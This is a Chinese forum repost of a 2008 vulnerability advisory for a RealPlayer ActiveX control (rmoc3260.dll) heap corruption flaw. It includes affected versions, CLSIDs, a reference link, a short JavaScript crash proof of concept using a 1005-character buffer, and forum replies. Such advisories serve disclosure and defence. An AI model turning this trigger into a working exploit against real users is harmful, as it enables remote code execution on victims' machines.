Real Networks RealPlayer 'rmoc3260.dll' ActiveX控件
来源：CB[b]受影响版本: [/b]
Real Networks rmoc3260.dll 6.0.10 45
Real Networks RealPlayer 11
[b]描述:[/b]
BUGTRAQ ID: 28157
CNCAN ID:CNCAN-2008031113
Real Networks RealPlayer是一款流行的媒体播放程序。
Real Networks RealPlayer包含的'rmoc3260.dll' ActiveX控件存在内存破坏问题，远程攻击者可以利用[url=http://www.lengmo.net/][color=#006699]漏洞[/color][/url]以应用程序进程权限执行任意指令。
问题存在于'rmoc3260.dll' ActiveX控件，版本为6.0.10.4：
{2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93}
{CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA}
可能导致在释放后修改堆块，并覆盖部分寄存器，允许任意代码执行。
<* 参考:
[url=http://archives.neohapsis.com/archives/fulldisclosure/2008-03/0157.html][color=#006699]http://archives.neohapsis.com/archives/fulldisclosure/2008-03/0157.html[/color][/url]
*>
[b]测试方法:[/b]
[警 告]
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!
[code]- ------------
var buf = '';
while (buf.length < 1005) buf = buf + 'A';
m = obj.Console;
obj.Console = buf;
obj.Console = m
//repeat
m = obj.Console;
obj.Console = buf;
obj.Console = m --> Should crash here
- -------------
[/code]
[b]建议:
[/b]目前没有解决方案提供：
[url=http://www.real.com/][color=#006699]http://www.real.com/[/color][/url] 抢个沙发 慢慢看tjs11cc
看看看看好东西啊
看看看看好东西啊看看看看好东西啊:lol页:
[1]
